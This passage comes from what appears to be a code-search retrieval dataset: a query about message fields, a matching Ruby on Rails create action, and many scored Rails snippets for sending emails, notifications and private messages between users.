Listing.find(params[:id])\n end", "title": "" }, { "docid": "b38e7e4af44bf49536385e3a31a08955", "score": "0.5391924", "text": "def set_listing\n @listing = Listing.find(params[:id])\n end", "title": "" }, { "docid": "b38e7e4af44bf49536385e3a31a08955", "score": "0.5391924", "text": "def set_listing\n @listing = Listing.find(params[:id])\n end", "title": "" }, { "docid": "b38e7e4af44bf49536385e3a31a08955", "score": "0.5391924", "text": "def set_listing\n @listing = Listing.find(params[:id])\n end", "title": "" }, { "docid": "b38e7e4af44bf49536385e3a31a08955", "score": "0.5391924", "text": "def set_listing\n @listing = Listing.find(params[:id])\n end", "title": "" } ]
df5cff09ff9603704f22b24bbc32368e
user_id, subject, content, msg_to, delivery_date, delivery_time, msg_public
[ { "docid": "a0e913f23b9244b028607ccf17f66f6c", "score": "0.0", "text": "def create\n @message = Message.new(message_params)\n @message.msg_public = params[:msg_public]\n @message.user_id = params[:user_id]\n\n if @message.save\n redirect_to message_path(@message)\n else\n render 'new'\n end\n end", "title": "" } ]
[ { "docid": "10e4b248a5078346a8ab3cf35b74c367", "score": "0.6627512", "text": "def pub(user, mailing_id, subject, body, mailing)\n @trackerModel = mailing.secubat_model_id\n @trackerMailing = mailing.id\n if (user.first_name.length > 2)\n @username = \"#{user.gender.capitalize} #{user.first_name} #{user.last_name}\"\n else\n @username = \"#{user.gender.capitalize} #{user.last_name}\"\n end\n @bodymail = body\n mail to: user.email, subject: \"#{subject}\"\n end", "title": "" }, { "docid": "b409640eddada320a20b6ca1a89cedfc", "score": "0.6436175", "text": "def workflow_notification(user,email,publication)\n @content = email.content.gsub(\"[title]\",publication.title).gsub(\"[id]\",publication.id.to_s).gsub(\"[pi]\",publication.user.name).gsub(\"[created]\",publication.created_at.strftime('%Y-%m-%d')).gsub(\"[updated]\",publication.updated_at.strftime('%Y-%m-%d')).gsub(\"[name]\",user.name).gsub(\"[email]\",user.email)\n mail to: user.email, subject: email.subject, date: Time.now\n end", "title": "" }, { "docid": "6a17180da5864933284b5514eade4dbf", "score": "0.61604476", "text": "def user_message(recip, from, from_name, message)\n recipients recip\n from from\n subject \"Message from Weefolio User #{from_name}\"\n sent_on Time.now\n body :message => message\n content_type \"text/html\"\n end", "title": "" }, { "docid": "0ab501dfdf1ccc2fdd64a52e861fc524", "score": "0.6159961", "text": "def daily_messenger_announcement\n subject = params[:subject]\n message = params[:message]\n \n if(subject && !subject.empty? && message && !message.empty?)\n message = Stringutils::markdown_to_html(message)\n ServiceDaily.all.each do |dm|\n user = dm.user\n ServiceMailer::email(subject, user.email, message).deliver\n end\n end\n end", "title": "" }, { "docid": "2d6d7ba6703ccc4faa892b1d65b46fcb", "score": "0.61261934", "text": "def send_message_to_est(content)\n user = User.where('edutorid like ?','%EST-%').first\n message = Message.new\n message.sender_id = current_user.id\n message.recipient_id = user.id\n message.subject = \"Contet to be processord\"\n message.body = \"New content is uploaded. Click \"+ \"#{view_context.link_to content.filename,content_path(content)}\"+\" to visit the contant \"\n message.label = \"Content\"\n message.message_type = \"Content process\"\n message.save\n UserMailer.content_notification(user,content,message)\n end", "title": "" }, { "docid": "075e8d7163ebac89dd25746035823d56", "score": "0.6112342", "text": "def after_create(message)\n \n @user=User.find(message.user_id)\n UserMailer.message_create(message,@user).deliver\n \n end", "title": "" }, { "docid": "7353f3fad7a1e1a876cc91e58e2f3126", "score": "0.6099638", "text": "def deliver_all_now\n self.newsletter.users.each do |user|\n @issue = NewsletterMailer.create_issue(self,user)\n @email = Email.create(:from => self.newsletter.site.email, :to => user.email, :mail => @issue.encoded)\n end\n self.published_at = Time.now.utc\n self.save\n end", "title": "" }, { "docid": "57fe2fe37f442b0466e2efff3622475c", "score": "0.605577", "text": "def news_feed_notification(user)\n recipients user.email\n from \"\\\"Cheeve\\\" <hzakareya.dev@gmail.com>\"\n subject \"News Feed Notification\"\n body :user => user\n content_type \"text/html\"\n end", "title": "" }, { "docid": "bbc01f2535c5597cd55b3b7978daf978", "score": "0.6025835", "text": "def activity_created(activity_id, user_id)\n @activity = Activity.find(activity_id)\n @user = User.find(user_id)\n @created_by = @activity.user\n\n # TODO: populate the subject with a formatted version of the content/sender\n mail to: @user.email, subject: 'a message from activecell'\n end", "title": "" }, { "docid": "db659a4e36808f15e7a3aa780029342a", "score": "0.5957158", "text": "def interaction_with(user)\n Message.where(\"(sender_id = ? AND receiver_id = ?) OR (sender_id = ? AND receiver_id = ?)\", self.id, user, user, self.id).order(\"created_at DESC\")\n end", "title": "" }, { "docid": "1f0fb302c4c3bf2a5d3fa9aed3806627", "score": "0.5953696", "text": "def perform(user_id, message)\n @message = message\n @user = User.find_by(id: user_id)\n @account = @user.accounts.find_by(id: @message['account_id'])\n\n # Create the basic message\n mail = Mail.new(\n from: @account.email_address,\n to: @message['to'],\n cc: @message['cc'],\n bcc: @message['bcc'],\n subject: @message['subject'],\n body: @message['body']\n )\n\n # Set the reply-to value, unless it is the same as the account\n unless @account.reply_to_address.blank? || @account.reply_to_address == @account.email_address\n mail.reply_to = @account.reply_to_address\n end\n\n # Add attachments\n @message['attachments'].each do |attachment|\n mail.add_file attachment['path']\n end unless @message['attachments'].nil?\n\n # Setup the SMTP server to use the user's credentials\n smtp = @account.outgoing_server\n mail.delivery_method :smtp, address: smtp.address,\n port: smtp.port,\n ssl: smtp.ssl?,\n tls: smtp.tls?,\n user_name: smtp.authentication.username,\n password: smtp.authentication.password,\n authentication: 'plain'\n\n begin\n mail.deliver!\n publish_finish\n rescue Exception => e\n publish_error(e)\n end\n end", "title": "" }, { "docid": "3e6a7ae170a9a99ea68af46c71373f46", "score": "0.5949898", "text": "def completed (anouncement,user)\n @anouncement = anouncement\n @user = user\n mail_ids = @user.clients.pluck(:email).join(\", \")\n\n mail to: \"#{mail_ids}\" , cc: \"#{user.email}\",subject: \"FYI:: #{anouncement.title} !\"\n end", "title": "" }, { "docid": "e0aa1af636fff0db20b7d2b66a54d69c", "score": "0.5926836", "text": "def show\n @grouped_contents = @channel.messages.includes(:user).grouped_by_date\n @message = Message.new\n end", "title": "" }, { "docid": "c9f910dcd1e964d8265190e639a9370b", "score": "0.5915559", "text": "def messages\n @user = User.find(params[:id])\n @sent = Message.sent_from(@user).ordered\n @received = Message.sent_to(@user).ordered\n end", "title": "" }, { "docid": "ef4a92be3612fa686ca8f327fa0c909c", "score": "0.5900115", "text": "def only_for_user\n @message = Message.where(\"receiver_id = ?\", session[:user_id])\n end", "title": "" }, { "docid": "6a9e43a6b8c7798c7cf3026d4b676bb9", "score": "0.58989376", "text": "def create\n #debugger\n @message = Message.create(\n :from_user_id => current_user.id,\n :to_user_id => message_params[:to_user_id],\n :content => message_params[:content])\n #if(@message.nil?)\n #flash.now[:failure] = \"Invalid To user or Content field !!!\"\n # else\n # flash.now[:success] = \"message sent..\"\n # end\n # PrivatePub.publish_to(\"/messages/new\", message: @message)\n # @message = Message.new(message_params) \n # if @message.save\n # flash[:success] = \"message sent..\"\n # end\n\n end", "title": "" }, { "docid": "600d462424f5399a538ba38af00b8f12", "score": "0.5892105", "text": "def create\n recipient = User.find(params[:recipient_id])\n sender = current_user\n @message = Message.new\n @message.recipient_id = params[:recipient_id].to_i\n @message.sender_id = current_user.id\n @message.school_id = session[:school_id] if session[:school_id]\n @message.team_id = nil\n @message.subject = params[:subject]\n @message.body = params[:body]\n @message.recipient_read = false\n @message.sender_read = false\n \n respond_to do |format|\n if @message.save\n MessageMailer.user_email(sender,recipient,params[:subject],@message).deliver\n format.js \n else\n format.js {render \"shared/save_failed\"}\n end\n end\n end", "title": "" }, { "docid": "aacbdf018ea56fdcec1a57bff96b011d", "score": "0.58824545", "text": "def sharedlist_link(user)\n subject I18n.t(\"email.sharelink\")\n from user.email\n recipients email_params[:email]\n sent_on Time.now\n body :message => emailparams(:body)\n end", "title": "" }, { "docid": "329a6b14a2dbbdbd786fb1f5e5ed8c62", "score": "0.58822596", "text": "def users_messaged_by\n self.users_who_messaged_me\n end", "title": "" }, { "docid": "c310dc6f8f011dc590abb9f2b307447c", "score": "0.5879763", "text": "def prepare_for_delivery(author, content, pubdate)\n author.to_s + ': ' + strip_html(content).to_s + ' -- ' + didwhen(pubdate).to_s\n end", "title": "" }, { "docid": "f2b1fed94c28c0407ac55a52720790c1", "score": "0.5872642", "text": "def process\n # all of your application-specific code here - creating models,\n # processing reports, etc\n\n # Grab the 'to' emails @email.to -> array of hashes. array hash :email\n # grab the 'cc' emails @email.cc array hash :email\n \n\n # from - hash containing sender address information. .\n\n\n #raw_text v. #body?\n\n\n end", "title": "" }, { "docid": "31179633a3e519db75e6e3cbf6d28b2f", "score": "0.5869578", "text": "def send!(actor)\n User.find(self.foruser_id) # just to crash and burn if recipient is invalid\n Content.transaction do\n self.user_id = actor.id\n self.is_in_gallery = false\n self.is_in_startpage = false\n self.cat_id = Content::CATEGORIES[:pvtmsg][:id]\n self.relationshiptype_id = Relationshiptype.nobody\n save!\n Activity.send_message(self, actor, :sent_pvtmsg)\n end\n end", "title": "" }, { "docid": "92b47e27da9d5042bc72514f09255238", "score": "0.5862134", "text": "def index\n @messages = Message.all.where('to_id=:this_user_id', :this_user_id => current_user.id)\n @sent_messages = Message.all.where('from_id=:this_user_id', :this_user_id => current_user.id)\n end", "title": "" }, { "docid": "7b6246c4c706003a868611f5f4cdae5f", "score": "0.58598983", "text": "def notify_of_author_reveal\n unless self.anonymous? || !self.posted?\n if item_type == \"Work\"\n subs = Subscription.where([\"subscribable_type = 'User' AND subscribable_id IN (?)\",\n item.pseuds.map{|p| p.user_id}]).\n group(:user_id)\n subs.each do |subscription|\n RedisMailQueue.queue_subscription(subscription, item)\n end\n end \n end\n end", "title": "" }, { "docid": "74f0d49cccc55aac4a26f02188588904", "score": "0.581565", "text": "def subscribe_users_to_message\n obj = self.related_object\n klass = obj.class.name.underscore\n user_ids = []\n\n # Add the following users\n # - Donor / Charity user\n # - Message sender\n # - Anyone who has previously replied to offer/order\n # - Admin users processing the offer/order\n user_ids << obj.try(:created_by_id)\n user_ids << self.sender_id\n user_ids += Subscription.where(\"#{klass}_id\": obj.id).pluck(:user_id)\n admin_user_fields.each{|field| user_ids << obj.try(field)}\n\n # Remove the following users\n # - SystemUser and StockitUser\n # - donor/charity user if the message is private (supervisor channel) or offer/order is cancelled\n user_ids = user_ids.flatten.uniq\n user_ids -= [User.system_user.try(:id), User.stockit_user.try(:id)]\n user_ids -= [obj.try(:created_by_id)] if self.is_private or obj.try('cancelled?')\n\n # For private messages, subscribe all supervisors\n user_ids += User.supervisors.pluck(:id) if self.is_private\n\n # If donor sends a message but no one else is listening, subscribe all reviewers.\n user_ids += User.reviewers.pluck(:id) if [self.sender_id] == user_ids\n\n user_ids.flatten.compact.uniq.each do |user_id|\n state = (user_id == self.sender_id) ? \"read\" : \"unread\" # mark as read for sender\n add_subscription(state, user_id)\n end\n end", "title": "" }, { "docid": "75e04e38a2063f8234b77a7e1329a550", "score": "0.5801538", "text": "def messages_sent_and_received(user)\n\n # Get all messages sent by the specified user\n sent = Message.find_all_by_sender_id(user.id)\n\n # Get all messages received by the specified user\n received = Message.find_all_by_recipient_id(user.id)\n\n # Return all sent and received messages, sorted in reverse\n # chronological order\n messages = smush(sent, received)\n messages.sort! { |x,y| y.created_at <=> x.created_at }\n\n return messages\n end", "title": "" }, { "docid": "02f193a6eae2a9594ae3458cc8e9098d", "score": "0.57997894", "text": "def create\n @message = Message.new(body: params[:body_text], read_msg: params[:flag], sub: params[:subject], owner_id: params[:userid])\n\t @user = @message.owner_id\n respond_to do |format|\n if @message.save\n\t\t#UserMailer.welcome_email(@user).deliver\n #format.html { redirect_to @message, notice: 'Message was successfully created.' }\n format.json { render json: @message, status: :created, location: @message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6836e0ed0427dc629361fdad342005b3", "score": "0.5794519", "text": "def message_params\n params.permit(\n :to_user_id,\n :content\n )\n end", "title": "" }, { "docid": "b4d62ef78b02e88d643417f8f2194857", "score": "0.57941717", "text": "def user_invited\n invited_by = @notification_object[:invited_by]\n collaborator = @notification_object[:collaborator]\n collaboration_object = @notification_object[:collaboration_object]\n invitation_message = @notification_object[:message]\n @data[:sender_name] = invited_by.try(:full_name)\n @data[:collaborator_name] = collaborator.try(:full_name)\n @data[:message] = invitation_message.to_s\n collaboration_object_type = collaboration_object.class.to_s\n if collaboration_object_type == \"Project\"\n @data[:project_title] = collaboration_object.try(:title)\n @template_name = APOSTLE_MAIL_TEMPLATE_SLUG[:user_invited_to_project]\n elsif collaboration_object_type == \"Document\"\n @data[:project_title] = collaboration_object.project.try(:title)\n @data[:document_title] = collaboration_object.try(:title)\n @template_name = APOSTLE_MAIL_TEMPLATE_SLUG[:user_invited_to_document]\n @receivers << collaboration_object.project.created_by\n @receivers << collaboration_object.assigned_to\n end\n @receivers << collaboration_object.created_by\n @data[:recipient_names] = recipient_names\n trigger_user_specific_emails\n end", "title": "" }, { "docid": "d809fb9988bb5871d44163777868ceee", "score": "0.5787941", "text": "def deliver\n Delayed::Job.enqueue AnnouncementJob.new(self, self.subject, self.message, User.find(:all).collect(&:email)) \n end", "title": "" }, { "docid": "7026c1813f266c30500d4f9d0ac81799", "score": "0.57774067", "text": "def _reaction_notification_message(_user)\n res = {}\n unique_users = votes_for.pluck(:voter_id).uniq\n if unique_users.size == 1\n res = {title: \"\", body: \"#{User.find(unique_users[0]).full_name(false, created_at)} #{content_type == \"pray\" ? 'is praying with you' : \"loves your #{content_type.to_s.titleize}\"}\"}\n elsif unique_users.size == 2\n res = {title: '', body: \"#{User.find(unique_users[0]).full_name(false, created_at)} and #{User.find(unique_users[1]).full_name(false, created_at)} #{content_type == \"pray\" ? 'are praying with you' : \"love your #{content_type.to_s.titleize}\"}\"}\n else\n user_numbers = unique_users.size - 1\n user_numbers = user_numbers - 1 if unique_users.include?(user.id)\n res = {title: '', body: \"#{User.find(unique_users[0]).full_name(false, created_at)} + #{user_numbers} #{content_type == \"pray\" ? 'others are praying with you' : \"others love your #{content_type}\"}\"}\n end\n res\n end", "title": "" }, { "docid": "6ebaa498edc8d2f125db11c3019ae1cf", "score": "0.57773083", "text": "def create\n\n @message = current_user.messages.build\n @message.subject = params[:message][:subject]\n @message.body = params[:message][:body]\n @message.to User.where(:username => params[:message][:to].split(',')) unless params[:message][:to].nil?\n\n respond_to do |format|\n if @message.save\n @message.deliver\n\n flash[:notice] = 'Message was successfully created.'\n format.html { redirect_to(@message) }\n format.xml { render :xml => @message, :status => :created, :location => @message }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @message.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "219d56ee188b4d7bcdd496ef46cb6ac2", "score": "0.57737505", "text": "def send_message(user, subject)\n @user = user\n ids = Instructable.where(user_id: @user.id, schedule: 'Pennsic University').pluck(:id)\n @instances = Instance.where(instructable_id: ids).includes(:instructable).order(:start_time)\n @name = @user.titled_sca_name\n\n headers 'return-path' => 'thing@pennsicuniversity.org'\n\n mail(to: user.email, subject: \"Pennsic University: #{subject}\")\n end", "title": "" }, { "docid": "7f474c6f178139ffddf1aef690f669b1", "score": "0.5769478", "text": "def message\n emails = self.email_list\n if emails.any?\n Notifier.new_idea(emails, self).deliver\n end\n idea_json = IdeaSerializer.new(self).to_json\n PrivatePub.publish_to(\"/message/channel\", message: idea_json)\n # Activity Feed\n is_new = self.updated_at == self.created_at\n action = is_new ? :create : :update\n activity = self.create_activity action, owner: self.user\n activity_json = PublicActivity::ActivitySerializer.new(activity).to_json\n PrivatePub.publish_to(\"/message/channel\", message: activity_json)\n end", "title": "" }, { "docid": "b96229eedfadfb006c646004a4ecf9d9", "score": "0.5757311", "text": "def deliver(phone, msg)\n recent = @pgsql.exec(\n 'SELECT COUNT(*) FROM sms WHERE phone = $1 AND created > NOW() - INTERVAL \\'4 HOURS\\'',\n [phone]\n )[0]['count'].to_i\n if recent > 16 && ENV['RACK_ENV'] != 'test'\n raise WTS::UserError, 'E183: We\\'ve sent too many of them already, wait for a few hours and try again'\n end\n total = @pgsql.exec('SELECT COUNT(*) FROM sms WHERE created > NOW() - INTERVAL \\'4 HOURS\\'')[0]['count'].to_i\n if total > 256 && ENV['RACK_ENV'] != 'test'\n raise WTS::UserError, 'E180: We\\'ve sent too many of them already, we have to relax for a while'\n end\n rid = 999\n rid = @sns.publish(phone_number: \"+#{phone}\", message: msg)[:message_id] if ENV['RACK_ENV'] != 'test'\n cid = @pgsql.exec(\n [\n 'INSERT INTO sms (phone, message_id)',\n 'VALUES ($1, $2)',\n 'RETURNING id'\n ].join(' '),\n [phone, rid]\n )[0]['id'].to_i\n @log.info(\"New SMS ##{cid}/#{rid} sent to +#{phone}: #{msg}\")\n cid\n end", "title": "" }, { "docid": "f56bc677fd04442fe0b466f5c9ffbb65", "score": "0.5750724", "text": "def send_message(other_user, room_id, content)\n from_messages.create!(to_id: other_user.id, room_id: room_id, content: content)\nend", "title": "" }, { "docid": "c335a05cc6b7f75f25143d990115f8fe", "score": "0.5742496", "text": "def send_message(other_user, room_id, content)\n from_messages.create!(to_id: other_user.id, room_id: room_id, content: content)\n end", "title": "" }, { "docid": "9d154c68b6f47f10f8e355d4325ca92e", "score": "0.5736856", "text": "def full_chat_with(user)\n outgoing = sent_messages.includes(:message_recipient)\n .where(message_recipients: { recipient: user })\n incoming = received_messages.select { |m| m.creator_id == user.id }\n (outgoing + incoming).sort_by!(&:created_at)\n end", "title": "" }, { "docid": "bec3656d76f6dd65ac1ccf71fe8b1c8f", "score": "0.57321686", "text": "def deliver_to( user )\n\t\tif delivery = self.note_deliveries.find_by_recipient_id( user.id )\n\t\t\t# if this is a resend of an existing note, set it to nuread and undeleted\n\t\t\tdelivery.update_attributes :unread => false, :status => 'resent'\n\t\telse\n\t\t\t# create a new delivery to the recipient\n\t\t\tself.note_deliveries.create :recipient => user\n\t\tend\n\tend", "title": "" }, { "docid": "8616fafb1c1135c153f2f206b4cc53b8", "score": "0.5722031", "text": "def index\n @user = User.find params[:user_id]\n messages_recieved = Message.all.where(recipient_id: @user.id)\n messages_sent = Message.all.where(sender_id: @user.id)\n messages = (messages_recieved.to_a + messages_sent.to_a).sort_by(&:created_at).reverse\n unique_ids = []\n @messages = []\n messages.each do |message|\n next if message.recipient_id.nil? || message.sender_id.nil?\n\n if message.recipient_id == @user.id\n unique_id = message.sender_id\n else\n unique_id = message.recipient_id\n end\n message.unique_id = unique_id\n unless unique_ids.include? unique_id\n @messages << message\n unique_ids << unique_id\n end\n end\n end", "title": "" }, { "docid": "6b25109424aae1ae91b446205f3a6fe2", "score": "0.57070684", "text": "def rezm_subject_and_status(message)\n if message.receiver_deleted?\n message.subject + \" (Deleted)\" \n elsif message.read_at.nil?\n message.subject + \" (Unread)\" \n else \n message.subject\n end\n end", "title": "" }, { "docid": "b40673dda117e067057740ee40c67cf7", "score": "0.56935364", "text": "def create\n \t@recipient = User.find(params[:user_id])\n \treceipt = current_user.send_message(@recipient, params[:body], params[:subject])\n end", "title": "" }, { "docid": "b2892c3ff20b2b5987ea6f972caa2f1a", "score": "0.5692803", "text": "def send_open_tasks(user)\n @greeting = \"Hi, \" + user.name\n @unfinished_todos = Todo.where(:has_finished=>false,:user_id=>user.id)\n mail to: user.email, subject: \"领主邮件提醒\"\n end", "title": "" }, { "docid": "2d1b0f1c421b3f30c2845b5a6347a70f", "score": "0.56924015", "text": "def create\n @message = Message.create!(:subject => params[:message][:subject], :body => params[:message][:body], :user_id_from => self.current_user.id, :user_id_to => params[:message][:user_id_to], :read => false)\n \n respond_to do |format|\n if @message.activify\n UserMailer.message_notification(@message.user_id_to, @message.subject, @message.body, @message.id, self.current_user.name).deliver\n \n format.html { redirect_to(:messages, :notice => 'Your message to '+User.find(@message.user_id_to).name+' was sent.') }\n format.xml { render :xml => @message, :status => :created, :location => @message }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @message.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8f9bd9701ae361e4616c77ed0bc2f1f", "score": "0.5686995", "text": "def users_messaged\n self.users_whom_i_have_messaged\n end", "title": "" }, { "docid": "e494c18dd211d7afb8260c00ac11f9c7", "score": "0.5685644", "text": "def content_prayer_request(user, content)\n return unless user.receive_notification\n @user = user\n @content = content\n mail to: @user.email, subject: \"#{content.user.first_name} Sent you a Prayer request\"\n end", "title": "" }, { "docid": "1c369b5ceafa2a291bff536b34dc49cc", "score": "0.5684582", "text": "def create\n\n#Identify user by her e-mail address\n\t @from=params[:headers]['Return-Path']\n @user=User.which_one(@from)\n\n#If user does not exists it acknowledges that the message was received sucessfully but doesn't do anything else\n#in V2.0 this will trigger the creation of a \"invite\" delivered by e-mail so the user can sign up for the service and store the message in a temp folder\n if @user == nil\n \t\t\n #MainMailer.welcome_email(@from).deliver\n\n render :text => 'Received... but user doesn\\'t exists', :status => 200\n\n else\n\n if parse_link(params[:plain]) == nil #If no link is detected in the body it creates a plain note entry (i.e. w/o clickable title)\n\n @content=create_note\n\n else\n\n @content=create_link #if a URL is detected the Link entry (called note in the app) has a clickable title\n\n end\n \t\t\n \t\t if @content.save #saves content and delivers a success message or a fail message\n \t\t\trender :text => 'success', :status => 200\n \t\telse\n \t\t\trender :text => 'Failed', :status => 400\n \t\tend\n\n \tend\n \n\n end", "title": "" }, { "docid": "08306def578398fe6e6063ebf1e4ca8c", "score": "0.5679596", "text": "def daily_unread_messages(user, messages_ids = [])\n return unless user.receive_notification\n @user = user\n @messages_ids = messages_ids\n mail to: user.email, subject: \"Summary of unread messages\"\n end", "title": "" }, { "docid": "548406365d164306a24ccf3b9b959201", "score": "0.56668425", "text": "def sent\n @messages = current_user.messages.find(:all, :order=>\"created_at DESC\")\n end", "title": "" }, { "docid": "c89d0efb7cd099526ba699e28596aa05", "score": "0.5664048", "text": "def post_process(user, assume_user_exists=false)\n\n user.update_user_organization_filters unless Rails.application.config.try(:user_organization_filters_ignored).present?\n\n user.viewable_organizations = user.user_organization_filters.system_filters.sorted.first.try(:get_organizations) || user.organizations\n user.save!\n\n unless assume_user_exists\n\n system_user = User.where(first_name: 'system', last_name: 'user').first\n message_template = MessageTemplate.find_by(name: 'User1')\n message_body = MessageTemplateMessageGenerator.new.generate(message_template,[user.email, Rails.application.routes.url_helpers.new_user_password_url])\n\n\n msg = Message.new\n msg.user = system_user\n msg.organization = system_user.organization\n msg.to_user = user\n msg.subject = message_template.subject\n msg.body = message_body\n msg.priority_type = message_template.priority_type\n msg.message_template = message_template\n msg.active = message_template.active\n msg.save\n\n UserMailer.send_email_on_user_creation(user).deliver\n end\n\n end", "title": "" }, { "docid": "1497048336616d1f45ddb11102809020", "score": "0.5658418", "text": "def notify_announcement(user, message)\n @user = user\n @message = message\n\n mail to: @user.email#, subject: @message.title\n end", "title": "" }, { "docid": "6e4161a1f4198b0fba79e7b59b037870", "score": "0.56582266", "text": "def message_params\n params.require(:message).permit(:content, :from_user_id, :to_user_id)\n end", "title": "" }, { "docid": "ae12fe01e9a3b539bf11e9b4d2da3c3f", "score": "0.56581753", "text": "def messages(user, count)\n @count = count \n @user = user\n\n mail :to => user.email \n end", "title": "" }, { "docid": "4823729c25612cc7530d86f8f086dc40", "score": "0.56579685", "text": "def user_params\n params.require(:message).permit(:project_id, :user_id, :m_type, :to, :from, :content)\n end", "title": "" }, { "docid": "6dd4a91e335e67541fe0386398d8ae40", "score": "0.5657816", "text": "def create_message(title, content, receiver = [])\n m = sended_messages.create(:title => title, :content => content, :type => 0) if receiver.size == 0\n m = sended_messages.create(:title => title, :content => content, :type => 1) if receiver.size >= 1\n return m unless m.is_a? Message\n receiver.each do |r|\n u = User.find_by_email(r.to_s) || User.find_by_id(r)\n next unless u\n u.messages << m# => unless m.created_at.nil?\n u.save\n end\n m\n end", "title": "" }, { "docid": "68cbb2c0013986d299d974421dd59929", "score": "0.5655363", "text": "def mail_user; end", "title": "" }, { "docid": "140f82b45198befef964d29d00bfe645", "score": "0.56552774", "text": "def messages_with(user)\n Message.where(\"(receiver_id = ? AND sender_id = ?)\n OR (receiver_id = ? AND sender_id = ?)\",\n user.id, id, id, user.id)\n end", "title": "" }, { "docid": "745f198d4674378b1a3f9344c5335e81", "score": "0.5648706", "text": "def index \n\t\t@user = User.find_by(:url => params[:id])\n\t\t@messages = PrivateMessage.where(\n\t\t\t'(user_id = ? and recipient_id = ?) OR (recipient_id = ? and user_id = ?)', \n\t\t\tcurrent_user.id, @user.id, current_user.id, @user.id\n\t\t).order('id asc')\n\n\t\t# for form\n\t\t@private_message = PrivateMessage.new(:recipient_id => @user.id)\n\n\t\t# mark as read\n\t\t# PrivateMessage.where(\"recipient_id = ? and user_id = ? and new = ? \", current_user.id, @user.id, true).update_all(new: false)\n\t\n\t\t# nil news sync\n\t\tsession[:new_sync_at] = nil\n\tend", "title": "" }, { "docid": "c62b607ee23f4255648402bab31507fa", "score": "0.5644496", "text": "def user_created(user)\n @user = user\n\n mail reply_to: user.email, to: \"helpdesk@aguaygestion.com\"\n end", "title": "" }, { "docid": "ee31ed7617d10aa5d5c298e240b5b2cc", "score": "0.563085", "text": "def notifications(user)\n person = Person.find(user.person_id)\n identity = Identity.find(user.uid)\n @person_name = \"#{person.first_name} #{person.last_name}\"\n @person_username = identity.username\n @person_password = identity.password\n mail to: person.email, subject: \"Bienvenido a SCP\"\n end", "title": "" }, { "docid": "26f6792e69f844ef12930d79ad960204", "score": "0.56274486", "text": "def show\n if @message.belongs_to?(current_user.id)\n @message.update_attribute(\"to_read\",true) if @message.to == current_user\n @message.update_attribute(\"from_read\",true) if @message.from == current_user\n end\n end", "title": "" }, { "docid": "6d700d79b7ee2103c5288034c931e093", "score": "0.56261015", "text": "def show\n #message = Message.find(params[:id])\n message = Message.where(\"id = ? AND (sender_id = ? OR recipient_id = ?)\",params[:id], current_user.id, current_user.id ).take\n if (message.recipient == current_user) && !message.read\n message.set_read\n end\n end", "title": "" }, { "docid": "db2f1ee0945f0b2d0c47685b5851b63c", "score": "0.5620917", "text": "def perform(room_id, user_id, user_type = :user)\n @room = Room.find(room_id)\n\n @recipient = if user_type == :user\n User.find(user_id)\n else\n Freelancer.find(user_id)\n end\n\n if @recipient.unseen_messages.where(room: @room).any?\n messages = @room.messages.includes(:user, :freelancer).order(:created_at).last(LAST_N_MESSAGES)\n UserNotifierMailer.notify_unseen_messages(@room, @recipient, messages).deliver_now\n\n @recipient.unseen_messages.where(room: @room).destroy_all\n end\n end", "title": "" }, { "docid": "1699df1428c1d6304eea78422d1454cb", "score": "0.56203294", "text": "def user_notification_email(msg)\n if self.profile.email_frequency\n if EmailDigest.where('user_id = ?', self.id).empty?\n EmailDigest.create( user_id: self.id,\n days_delayed: self.profile.email_frequency)\n end\n else\n User.delay.send_notification_email(self.id)\n end\n return nil #to prevent default email sending\n end", "title": "" }, { "docid": "a4bfb576136a20ca1bdc6ad1077916c1", "score": "0.5619843", "text": "def new_message_from_user(to_id, from_id, subject)\n @user = User.find(to_id)\n @sender = User.find(from_id)\n subj = \"Tradies new message: \" + subject\n # puts \"yoloo\"\n # puts to\n # puts to.name\n mail to: @user.email, subject: subj\n end", "title": "" }, { "docid": "a30af0c0b67ee1501aa7233206192e2b", "score": "0.5611207", "text": "def send_message_to_est(topic)\n user = User.where('edutorid like ?','%EST-%').first\n message = Message.new\n message.sender_id = current_user.id\n message.recipient_id = user.id\n message.subject = \"Topic to be processord\"\n message.body = \"New Topic is uploaded. Click \"+ \"#{view_context.link_to Topic.filename,Topic_path(Topic)}\"+\" to visit the contant \"\n message.label = \"Topic\"\n message.message_type = \"Topic process\"\n message.save\n UserMailer.Topic_notification(user,Topic)\n end", "title": "" }, { "docid": "1f5b17947d834a48e10bd48e7ea5e921", "score": "0.5603791", "text": "def data_processing(message_data)\n EmailMailer.new.email(message_data)\n\n end", "title": "" }, { "docid": "2e69c1d9c8ce0c7359fce82ca2a1e8db", "score": "0.5598288", "text": "def publish_message(user, message)\n msg = \"#{user} #{message}\"\n @exchange.publish(msg.to_json)\n#For better \n if (user == @current_user)\n display_message(\"You\", message)\n end\n end", "title": "" }, { "docid": "b60dcffec0000b6a3a90c7939073638d", "score": "0.5596394", "text": "def publish_message(user, message)\n # Create ordered data to be easily processed\n data = JSON.generate({ user: user, message: message })\n # Publish message to the exchange channel\n @exchange.publish(data)\n end", "title": "" }, { "docid": "0eefcadcd2561188f38efc2dcee60572", "score": "0.5594067", "text": "def seen_message_mail\n MessageMailer.seen_message_mail\n end", "title": "" }, { "docid": "b1d22da4ed2c7b69163fbfcf0e732f82", "score": "0.5590056", "text": "def send_task_summary_email(user, user_ids)\n\n # initialize variables for email\n init_vars\n @user = user\n @users = []\n\n user_ids.each do |id|\n @users << User.find(id)\n end\n\n @footer = \"This is an automated email sent by The Cushion's Task Scheduler.\"\n\n mail( :to => \"#{@user.first_name} #{@user.last_name} <#{@user.email}>\",\n :subject => \"[The Cushion] Inactivity Emails Were Sent Successfully\" )\n\n end", "title": "" }, { "docid": "2ed14403bdd4f9b4ba11d0d1c3eca69e", "score": "0.5588704", "text": "def message_waiting msg\n write(msg.to_json) if msg[:to].to_s == @user_id.to_s\n end", "title": "" }, { "docid": "b9123fc60d439cc9b9c4c13f2738df27", "score": "0.5587851", "text": "def create\n @message = current_user.messages.build(message_params)\n\n respond_to do |format|\n if @message.save\n #deliver @message\n ScheduleWorker.perform_at(@message.published_at, @message.id)\n format.html { redirect_to @message, notice: 'Message was successfully created.' }\n format.json { render :show, status: :created, location: @message }\n else\n format.html { render :new }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 